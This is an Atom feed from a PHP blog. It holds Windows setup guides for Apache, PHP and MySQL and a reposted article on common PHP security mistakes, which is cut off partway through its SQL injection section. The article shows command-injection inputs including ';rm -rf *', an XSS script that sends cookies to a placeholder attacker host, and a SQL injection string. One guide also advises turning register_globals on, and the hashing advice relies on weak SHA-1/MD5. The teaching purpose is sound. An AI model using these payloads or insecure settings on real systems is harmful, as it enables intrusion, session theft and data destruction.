<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3952433192847826746</id><updated>2011-11-27T16:53:08.968-08:00</updated><title type='text'>PHP Archives</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>11</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3952433192847826746.post-5265939675857856394</id><published>2009-06-26T23:23:00.000-07:00</published><updated>2009-06-27T00:08:20.505-07:00</updated><title type='text'>How to set up PHP 5 with Curl and MySQL support on Windows</title><content type='html'>You have to go through a lot of hoops to get CuRL working on Windows. I decided to put up a list that I could refer back to if I ever needed to re-install PHP and Curl on my windows box. &lt;br /&gt;Note: Apparently it is much easier to install Curl on Linux. I'll admit I havent tried it, but if you are trying to decide between the two, that is one thing to consider.&lt;br /&gt;&lt;br /&gt;Note: I'm assuming you already have Apache installed.. you're going to need it.&lt;br /&gt;&lt;br /&gt;1. Back up your original PHP directory (if any) from C:/Program Files/PHP to C:/Program Files/PHP_orig&lt;br /&gt;&lt;br /&gt;2. Download the latest PHP 5 binaries from http://www.php.net. Dont use the Windows installer.&lt;br /&gt;&lt;br /&gt;3. Extract the zip file to C:/Program Files/PHP  (this will be our 'install' directory)&lt;br /&gt;&lt;br /&gt;4. Rename C:/Program Files/PHP/php.ini-dist to php.ini (or if your php.ini file already exists, dont do anything)&lt;br /&gt;&lt;br /&gt;5. Edit your php.ini file to &lt;br /&gt;Turn register_globals on (off by default)&lt;br /&gt;;for curl&lt;br /&gt;register_globals = On&lt;br /&gt;;register_globals = Off&lt;br /&gt;&lt;br /&gt;set extensions_dir to C:/Program Files/PHP/extensions&lt;br /&gt;&lt;br /&gt;6. Edit your php.ini file to &lt;br /&gt;Set upload_tmp_dir and session.save_path&lt;br /&gt;upload_tmp_dir="C:\WINDOWS\Temp"&lt;br /&gt;session.save_path="C:\WINDOWS\Temp"&lt;br /&gt;(create that directory first)&lt;br /&gt;&lt;br /&gt;7. Edit your php.ini file to enable any extensions that you may need&lt;br /&gt;You will want to uncomment the following line:&lt;br /&gt;extension=php_curl.dll&lt;br /&gt;&lt;br /&gt;In addition, if you (like me) are using MySQL with PHP, then uncomment the following line to enable the MySQL extension.&lt;br /&gt;extension=php_mysql.dll&lt;br /&gt;&lt;br /&gt;I also recommend going through the list of remaining extensions and enabling the ones you need. If you are unsure about an extension, google is your friend.&lt;br /&gt;&lt;br /&gt;8. Copy php5ts.dll from C:/Program Files/PHP to your Apache bin directory&lt;br /&gt;(in my case, C:\Program Files\Apache Software Foundation\Apache2.2\bin)&lt;br /&gt;&lt;br /&gt;9. Copy libeay32.dll and ssleay32.dll (located in C:/Program Files/PHP) to c:\windows\system32&lt;br /&gt;&lt;br /&gt;10. Download cURL for Windows at: http://curl.haxx.se/download.html&lt;br /&gt;I chose the Win32 - Generic version (version 7.19.5 at the time of this writing) with SSL (if you dont need SSL you can use a version without SSL). Unzip cURL to C:/Program Files/curl &lt;br /&gt;&lt;br /&gt;11. (If you need SSL) Download OpenSSL for Windows from http://curl.haxx.se/download.html. Extract libssl32.dll to C:/Program Files/curl&lt;br /&gt;&lt;br /&gt;12. Check to see if you have the following file: C:/WINDOWS/system32/msvcr70.dll. If not, find it via google and download it to system32.&lt;br /&gt;&lt;br /&gt;13. Uncomment the curl line in your php.ini file to enable curl: extension=php_curl.dll &lt;br /&gt;(If not already done earlier)&lt;br /&gt;&lt;br /&gt;14. edit your Apache httpd.conf file to enable php:&lt;br /&gt;Uncomment or add the following lines:&lt;br /&gt;PHPIniDir "C:/Program Files/PHP/"&lt;br /&gt;LoadModule php5_module "C:/Program Files/PHP/php5apache2_2.dll"&lt;br /&gt;&lt;br /&gt;15. Edit your Apache httpd.conf file to recognize php extensions:&lt;br /&gt;#&lt;br /&gt;# DirectoryIndex: sets the file that Apache will serve if a directory&lt;br /&gt;# is requested.&lt;br /&gt;#&lt;br /&gt;&lt;IfModule dir_module&gt;&lt;br /&gt;    DirectoryIndex  index.php index.html&lt;br /&gt;&lt;/IfModule&gt;&lt;br /&gt;&lt;br /&gt;Also add Line: &lt;br /&gt;AddType application/x-httpd-php .php&lt;br /&gt;&lt;br /&gt;15. Restart the Apache service&lt;br /&gt;&lt;br /&gt;16. Create index.php in your Apache documentRoot with the following contents:&lt;br /&gt;&lt;?php&lt;br /&gt;phpinfo();&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;17. Go to http://localhost/index.php&lt;br /&gt;You should see a section for "curl" and one for "mysql", saying these options are enabled.&lt;br /&gt;&lt;br /&gt;Done.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3952433192847826746-5265939675857856394?l=phparchives.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/5265939675857856394/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3952433192847826746&amp;postID=5265939675857856394' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/5265939675857856394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/5265939675857856394'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/2009/06/how-to-set-up-php-5-with-curl-and-mysql.html' title='How to set up PHP 5 with Curl and MySQL support on Windows'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3952433192847826746.post-784060760815379049</id><published>2009-02-07T09:08:00.001-08:00</published><updated>2009-02-07T09:08:53.053-08:00</updated><title type='text'>How to get Apache 2.x.x, PHP5, and MySQL 5 to work together seamlessly</title><content type='html'>This will get you up and running with Apache 2.x.x, PHP5, and MySQL 5 on a windows environment. I will assume you will be using Binary installations for Apache, PHP and MySQL, because those are the most convenient. &lt;br&gt;If you are on a Unix/Linux system and know how to compile from source, this article may still help you configure Apache, PHP and MySQL and make them work together seamlessly.&lt;p&gt;1. First, install Apache 2.2.x from &lt;a href="http://httpd.apache.org/"&gt;http://httpd.apache.org/&lt;/a&gt;&lt;br&gt;Choose the latest STABLE release in binary format if you are on windows.&lt;br&gt;After the installation process, start the Apache service and go to &lt;a href="http://localhost"&gt;http://localhost&lt;/a&gt; to make sure the server is up and running.&lt;p&gt;2. Next, install PHP 5 (or the latest stable release) from &lt;a href="http://php.net"&gt;http://php.net&lt;/a&gt;.&lt;br&gt;It is important that you select MySQL (and optionally MySQLi) support during the install process.&lt;br&gt;After the installation is done, go to C:\Program Files\PHP\ext and verify that you see the appropriate DLLs: php_mysql.dll, php_mysqli.dll (and the other extensions you chose during the install process)&lt;p&gt;Verify that your php.ini file contains the following:&lt;br&gt;[PHP_MYSQL]&lt;br&gt;extension=php_mysql.dll&lt;br&gt;[PHP_MYSQLI]&lt;br&gt;extension=php_mysqli.dll&lt;p&gt;(along with other sections for the MySQL configuration)&lt;p&gt;3. Open your Apache httpd.conf file. You should see something like:&lt;p&gt;#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL&lt;br&gt;PHPIniDir &amp;quot;C:/Program Files/PHP/&amp;quot;&lt;br&gt;LoadModule php5_module &amp;quot;C:/Program Files/PHP/php5apache2_2.dll&amp;quot;&lt;br&gt;#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL&lt;p&gt;This indicates that PHP has configured itself to run on Apache. But we&amp;#39;re not quite there yet..&lt;p&gt;4. Next, edit your httpd.conf file as follows:&lt;br&gt;&amp;lt;IfModule dir_module&amp;gt;&lt;br&gt;#    DirectoryIndex index.html&lt;br&gt;    DirectoryIndex index.php index.html&lt;br&gt;&amp;lt;/IfModule&amp;gt;&lt;br&gt;This is used to tell Apache to first look for an &amp;#39;index.php&amp;#39; file and give it priority over an &amp;#39;index.html&amp;#39; file in the same directory.&lt;p&gt;5. You may also edit your httpd.conf file by adding the following (to support .php, .php3 extensions and so on)&lt;p&gt;# for PHP&lt;br&gt;    AddType application/x-httpd-php .php&lt;br&gt;#If you need to support other file types, like &amp;quot;.php3&amp;quot; and &amp;quot;.phtml&amp;quot;&lt;br&gt;    AddType application/x-httpd-php .php3&lt;br&gt;    AddType application/x-httpd-php .phtml &lt;p&gt;Also if this is not done automatically already (it should be), edit your mime.types file (in the conf directory) to include the following:&lt;br&gt;application/x-httpd-php    php&lt;br&gt;application/x-httpd-php-source    phps&lt;p&gt;6. Next, create an index.php file in htdocs with the following contents:&lt;br&gt;&amp;lt;?php&lt;br&gt;echo &amp;quot;hello&amp;quot;;&lt;br&gt;phpinfo();&lt;br&gt;?&amp;gt;&lt;br&gt;This is used to display your PHP configuration in Apache.&lt;p&gt;Once again go to &lt;a href="http://localhost"&gt;http://localhost&lt;/a&gt;&lt;br&gt;Only this time you should see &amp;quot;hello&amp;quot; followed by a detailed PHP configuration graphic. If you do not see this, restart the Apache service and make sure you have followed all the steps outlined above correctly.&lt;p&gt;7. Next, we install MySQL. Go to &lt;a href="http://www.mysql.com"&gt;http://www.mysql.com&lt;/a&gt; and install the MySQL5 community server (or whatever is the latest STABLE release at the time) as a binary.&lt;p&gt;8. Restart Apache. Go to your php.ini file and make sure there are configuration sections for MySQL.&lt;p&gt;Go back to &lt;a href="http://localhost"&gt;http://localhost&lt;/a&gt; and scan the page for &amp;quot;MySQL&amp;quot; - you will now find that PHP has been configured for MySQL, and they will work together seamlessly.&lt;br&gt;Done!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3952433192847826746-784060760815379049?l=phparchives.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/784060760815379049/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3952433192847826746&amp;postID=784060760815379049' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/784060760815379049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/784060760815379049'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/2009/02/how-to-get-apache-2xx-php5-and-mysql-5.html' title='How to get Apache 2.x.x, PHP5, and MySQL 5 to work together seamlessly'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3952433192847826746.post-1545746750150039457</id><published>2008-11-17T10:08:00.001-08:00</published><updated>2008-11-17T10:08:42.649-08:00</updated><title type='text'>Uploading large(big) files in PHP using .htaccess</title><content type='html'>&lt;div style="font-family:arial, helvetica, sans-serif;font-size:14pt"&gt;&lt;div&gt;&lt;div id="header"&gt;  	&lt;div id="headerleft" onclick="location.href='http://roshanbh.com.np';" style="cursor: pointer;"&gt; 		&lt;/div&gt; 	 	&lt;div id="headerright"&gt; 		&lt;div&gt;Many people struggle with the uploads of large files in PHP. After looking at their struggle, i'm here to solve this problem.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="content"&gt;&lt;div id="contentleft"&gt; &lt;p align="justify"&gt;&lt;br&gt;&lt;/p&gt;&lt;p align="justify"&gt;Most web servers are configured such that a user can only upload a maximum file size of 2MB. You can increase that maximum upload file size limit by using the .htaccess file.&lt;/p&gt; &lt;p&gt;&lt;span id="more-30"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;Here's how to do it:&lt;/p&gt; &lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Create a .htaccess file in the root folder of the web server.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; Put the following code inside the .htaccess file and save it.&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;php_value upload_max_filesize 20M&lt;br&gt; php_value post_max_size 20M&lt;br&gt; php_value max_execution_time 200&lt;br&gt; php_value max_input_time 200&lt;/p&gt;&lt;/blockquote&gt; &lt;p align="justify"&gt;Now you can upload files up to 20MB in size simply by using the file field in your html form and move_uploaded_file() function available in PHP. In the above .htaccess file, uploading capabilities have been enhanced by four parameters:&lt;/p&gt;&lt;p align="justify"&gt;the first being the maximum upload file size, the second is the maximum size of the post data, thirdly the maximum time in seconds a script is allowed to run before it is terminated by the parser and lastly the maximum time in seconds a script is allowed to parse input data such as file uploads, POST and GET data.&lt;/p&gt;&lt;p align="justify"&gt;&lt;br&gt;&lt;/p&gt; &lt;p&gt;You can also change the parameters above to upload files larger than 20MB.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="position:fixed"&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;        &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3952433192847826746-1545746750150039457?l=phparchives.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/1545746750150039457/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3952433192847826746&amp;postID=1545746750150039457' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/1545746750150039457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/1545746750150039457'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/2008/11/uploading-largebig-files-in-php-using.html' title='Uploading large(big) files in PHP using .htaccess'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3952433192847826746.post-1122334090943116924</id><published>2008-11-17T10:02:00.001-08:00</published><updated>2008-11-17T10:02:58.354-08:00</updated><title type='text'>Top PHP Security Blunders</title><content type='html'>&lt;div style="font-family:arial, helvetica, sans-serif;font-size:14pt"&gt;&lt;div&gt;&lt;h1 id="title"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; "&gt;(original article is at http://www.sitepoint.com/article/php-security-blunders/)&lt;/span&gt;&lt;/h1&gt;&lt;div class="articledetail"&gt; 				&lt;h4&gt;&lt;a href="http://www.sitepoint.com/glossary.php?q=P#term_1" class="glossary" title="PHP, or Hypertext Preprocessor, is an open source, server-side programming language."&gt;PHP&lt;/a&gt; is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn't require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.&lt;/h4&gt;&lt;/div&gt;  &lt;p&gt;In this article, I'll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you'll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid making the same mistakes in your PHP applications.&lt;/p&gt;  &lt;p&gt;Security is a process, not a product, and adopting a sound approach to security during the process of application development will allow you to produce tighter, more robust code.&lt;/p&gt;  &lt;h5&gt;Unvalidated Input Errors&lt;/h5&gt;    &lt;p&gt;One of -- if not the -- most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted. You should assume every one of your Web application users is malicious, since it's certain that some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we'll discuss later in this article.&lt;/p&gt;  &lt;p&gt;As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the &lt;a href="http://www.sitepoint.com/glossary.php?q=U#term_22" class="glossary" title="Multi-user, multitasking Operating System and set of specifications"&gt;UNIX&lt;/a&gt; cal command.  &lt;/p&gt; &lt;div id="adz" class="vertical"&gt;&lt;div class="ad"&gt;&lt;br&gt;&lt;div id="beacon_750" style="position: absolute; left: 0px; top: 0px; visibility: hidden;"&gt;&lt;img src="http://ads.aws.sitepoint.com/phpadsnew/www/delivery/lg.php?bannerid=750&amp;amp;campaignid=501&amp;amp;zoneid=87&amp;amp;loc=http%3A%2F%2Fads.aws.sitepoint.com%2Fadjs.php%3Fregion%3D87%26did%3Dadz%26adtype%3Dvertical&amp;amp;referer=http%3A%2F%2Fwww.sitepoint.com%2Farticle%2Fphp-security-blunders%2F&amp;amp;cb=f57e0ec22c" alt="" style="width: 0px; height: 0px;" width="0" height="0"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code&gt;$month = $_GET['month']; &lt;br&gt; $year = $_GET['year']; &lt;br&gt;  &lt;br&gt; exec("cal $month $year", $result); &lt;br&gt; print "&amp;lt;PRE&gt;"; &lt;br&gt; foreach ($result as $r) { print "$r&amp;lt;BR&gt;"; } &lt;br&gt; print "&amp;lt;/PRE&gt;";&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;This code has a gaping security hole, since the &lt;code&gt;$_GET[month]&lt;/code&gt; and &lt;code&gt;$_GET[year]&lt;/code&gt; variables are not validated in any way. The application works perfectly, as long as the specified month is a number between 1 and 12, and the year is provided as a proper four-digit year. However, a malicious user might append &lt;code&gt;";ls -la"&lt;/code&gt; to the year value and thereby see a listing of your Website's &lt;a href="http://www.sitepoint.com/glossary.php?q=H#term_75" class="glossary" title="HTML stands for HyperText Markup Language."&gt;html&lt;/a&gt; directory. An extremely malicious user could append &lt;code&gt;";rm -rf *"&lt;/code&gt; to the year value and delete your entire Website!&lt;/p&gt;  &lt;p&gt;The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use &lt;a href="http://www.sitepoint.com/glossary.php?q=J#term_9" class="glossary" title="JavaScript is a Web scripting language most commonly used for client-side applications."&gt;JavaScript&lt;/a&gt; validation for this; such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;$month = $_GET['month']; &lt;br&gt; $year = $_GET['year']; &lt;br&gt;  &lt;br&gt; if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please re-enter."); &lt;br&gt; if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter."); &lt;br&gt;  &lt;br&gt; exec("cal $month $year", $result); &lt;br&gt; print "&amp;lt;PRE&gt;"; &lt;br&gt; foreach ($result as $r) { print "$r&amp;lt;BR&gt;"; } &lt;br&gt; print "&amp;lt;/PRE&gt;";&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;This code can safely be used without concern that a user could provide input that would compromise your application, or the server running it. Regular expressions are a great tool for input validation. They can be difficult to grasp, but are extremely useful in this type of situation.&lt;/p&gt;  &lt;p&gt;You should always validate your user-provided data by rejecting anything other than the expected data. Never use the approach that you'll accept anything except data you know to be harmful -- this is a common source of security flaws. Sometimes, malicious users can get around this methodology, for example, by including bad input but obscuring it with null characters. Such input would pass your checks, but could still have a harmful effect.&lt;/p&gt;  &lt;p&gt;You should be as restrictive as possible when you validate any input. If some characters don't need to be included, you should probably either strip them out, or reject the input completely. &lt;/p&gt;  &lt;h5&gt;Access Control Flaws&lt;/h5&gt;    &lt;p&gt;Another type of flaw that's not necessarily restricted to PHP applications, but is important nonetheless, is the access control type of vulnerability. This flaw rears its head when you have certain sections of your application that must be restricted to certain users, such as an administration page that allows configuration settings to be changed, or displays sensitive information.&lt;/p&gt;  &lt;p&gt;You should check the user's access privileges upon every load of a restricted page of your PHP application. If you check the user's credentials on the index page only, a malicious user could directly enter a URL to a "deeper" page, which would bypass this credential checking process.&lt;/p&gt;  &lt;p&gt;It's also advisable to layer your security, for example, by restricting user access on the basis of the user's IP address as well as their user name, if you have the luxury of writing an application for users that will have predictable or fixed IPs. Placing your restricted pages in a separate directory that's protected by an &lt;a href="http://www.sitepoint.com/glossary.php?q=A#term_19" class="glossary" title="Apache is one of the world's most widely-used Web servers."&gt;apache&lt;/a&gt; .htaccess file is also good practice. &lt;/p&gt;  &lt;p&gt;Place configuration files outside your Web-&lt;a href="http://www.sitepoint.com/glossary.php?q=A#term_61" class="glossary" title="Accessibility deals with the issues of making online content available for experience, enjoyment, and use by all visitors, including those who do not fit the standard &amp;quot;Web user&amp;quot; mould."&gt;accessible&lt;/a&gt; directory. A configuration file can contain database passwords and other information that could be used by malicious users to penetrate or deface your site; never allow these files to be accessed by remote users. Use the PHP include function to include these files from a directory that's not Web-accessible, possibly including an .htaccess file containing "deny from all" just in case the directory is ever made Web-accessible by adiminstrator error. Though this is redundant, layering security is a positive thing.&lt;/p&gt;  &lt;p&gt;For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes and configuration files are stored in the includes directory. Always name these include files with a .php extension, so that even if all your protection is bypassed, the Web server will parse the PHP code, and will not display it to the user. The www and admin directories are the only directories whose files can be accessed directly by a URL; the admin directory is protected by an .htaccess file that allows users entry only if they know a user name and password that's stored in the .htpasswd file in the root directory of the site.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;/home &lt;br&gt;   /httpd &lt;br&gt;     /www.example.com &lt;br&gt;       .htpasswd &lt;br&gt;       /includes &lt;br&gt;         cart.class.php &lt;br&gt;         config.php &lt;br&gt;       /logs &lt;br&gt;         access_log &lt;br&gt;         error_log &lt;br&gt;       /www &lt;br&gt;         index.php &lt;br&gt;         /admin &lt;br&gt;           .htaccess &lt;br&gt;           index.php&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;You should set your Apache directory indexes to 'index.php', and keep an index.php file in every directory. Set it to redirect to your main page if the directory should not be browsable, such as an images directory or similar.&lt;/p&gt;  &lt;p&gt;Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to the filename. Depending on the Web server you use (Apache thankfully appears to have safeguards for this), the PHP code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles upon a URL to the backup file. If that file contained passwords or other sensitive information, that information would be readable -- it could even end up being indexed by Google if the spider stumbled upon it! Renaming files to have a .bak.php extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a source code version control system like CVS. CVS can be complicated to learn, but the time you spend will pay off in many ways. The system saves every version of each file in your project, which can be invaluable when changes are made that cause problems later.&lt;/p&gt;  &lt;h5&gt;Session ID Protection&lt;/h5&gt;    &lt;p&gt;Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID for each user's session, but if this ID is known to another user, that person can hijack the user's session and see information that should be confidential. Session ID hijacking cannot completely be prevented; you should know the risks so you can mitigate them.&lt;/p&gt;  &lt;p&gt;For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when he or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user to enter a new password without also entering their old password, for example. You should also avoid displaying truly sensitive data, such as credit card numbers, to a user who has only been validated by session ID.&lt;/p&gt;  &lt;p&gt;A user who creates a new session by logging in should be assigned a fresh session ID using the &lt;code&gt;session_regenerate_id&lt;/code&gt; function. A hijacking user will try to set his session ID prior to login; this can be prevented if you regenerate the ID at login.&lt;/p&gt;  &lt;p&gt;If your site is handling critical information such as credit card numbers, always use an SSL secured connection. This will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.&lt;/p&gt;  &lt;p&gt;If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other users on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that's keyed to the session ID rather than as a session variable. If you must store a password in a session variable (and I stress again that it's best just to avoid this), do not store the password in clear text; use the &lt;code&gt;sha1()&lt;/code&gt; (PHP 4.3+) or &lt;code&gt;md5()&lt;/code&gt; function to store the hash of the password instead.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;if ($_SESSION['password'] == $userpass) { &lt;br&gt;   // do sensitive things here &lt;br&gt; }&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;The above code is not secure, since the password is stored in plain text in a session variable. Instead, use code more like this:&lt;/p&gt;  &lt;p&gt;&lt;code&gt;if ($_SESSION['sha1password'] == sha1($userpass)) { &lt;br&gt;   // do sensitive things here &lt;br&gt; }&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;The &lt;code&gt;SHA-1&lt;/code&gt; algorithm is not without its flaws, and further advances in computing power are making it possible to generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still vastly superior to storing passwords in clear text. Use &lt;code&gt;MD5&lt;/code&gt; if you must -- since it's superior to a clear text-saved password -- but keep in mind that recent developments have made it possible to generate &lt;code&gt;MD5&lt;/code&gt; collisions in less than an hour on standard PC hardware. Ideally, one should use a function that implements &lt;code&gt;SHA-256&lt;/code&gt;; such a function does not currently ship with PHP and must be found separately.&lt;/p&gt;  &lt;p&gt;For further reading on hash collisions, among other security related topics, &lt;a class="sublink" href="http://www.schneier.com/"&gt;Bruce Schneier's Website&lt;/a&gt; is a great resource.&lt;/p&gt;  &lt;h5&gt;Cross Site Scripting (XSS) Flaws&lt;/h5&gt;    &lt;p&gt;Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands -- usually JavaScript -- in data that is displayed and therefore executed by another user.&lt;/p&gt;  &lt;p&gt;For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a &amp;lt;script&gt; tag, shown below, which would reload the page to a site controlled by them, pass your &lt;a href="http://www.sitepoint.com/glossary.php?q=C#term_59" class="glossary" title="Cookies are pieces of data that a Website uses to &amp;quot;tag&amp;quot; users' computers in order to identify them individually."&gt;cookie&lt;/a&gt; and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users' cookie and session information, and use this data in a session hijacking or other attack on your site.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;&amp;lt;script&gt; &lt;br&gt; document.location = &lt;br&gt;     'http://www.badguys.com/cgi-bin/cookie.php?' + &lt;br&gt;     document.cookie; &lt;br&gt; &amp;lt;/script&gt;&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in particular, &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&gt;&lt;/code&gt;) to HTML character entities (&lt;code&gt;&amp;amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;amp;gt;&lt;/code&gt;), so that the submitted data is treated as plain text for display purposes. Just pass the data through PHP's &lt;code&gt;htmlspecialchars&lt;/code&gt; function as you are producing the output.&lt;/p&gt;  &lt;p&gt;If your application requires that your users be able to submit HTML content and have it treated as such, you will instead need to filter out potentially harmful tags like &lt;code class="ref-term"&gt;&lt;a title="Look up the &amp;lt;script&gt; tag in the SitePoint HTML Reference." href="http://reference.sitepoint.com/html/script"&gt;&amp;lt;script&gt;&lt;/a&gt;&lt;/code&gt;. This is best done when the content is first submitted, and will require a bit of regular expressions know-how.&lt;/p&gt;  &lt;p&gt;&lt;a class="sublink" href="http://www.cgisecurity.com/articles/xss-faq.shtml"&gt;The Cross Site Scripting FAQ&lt;/a&gt; at &lt;a class="sublink" href="http://www.cgisecurity.com/"&gt;cgisecurity.com&lt;/a&gt; provides much more information and background on this type of flaw, and explains it well. I highly recommend reading and understanding it. XSS flaws can be difficult to spot and are one of the easier mistakes to make when programming a PHP application, as illustrated by the high number of XSS advisories issued on the popular security mailing lists.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;h5&gt;SQL Injection Vulnerabilities&lt;/h5&gt;    &lt;p&gt;SQL injection vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the exploitation of a database query. For example, in your &lt;a href="http://www.sitepoint.com/glossary.php?q=P#term_1" class="glossary" title="PHP, or Hypertext Preprocessor, is an open source, server-side programming language."&gt;PHP&lt;/a&gt; script, you might ask the user for a user ID and password, then check for the user by passing the database a query and checking the result.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;SELECT * FROM users WHERE name='$username' AND pass='$password';&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;However, if the user who's logging in is devious, he may enter the following as his password:&lt;/p&gt;  &lt;p&gt;&lt;code&gt;' OR '1'='1&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;This results in the query being sent to the database 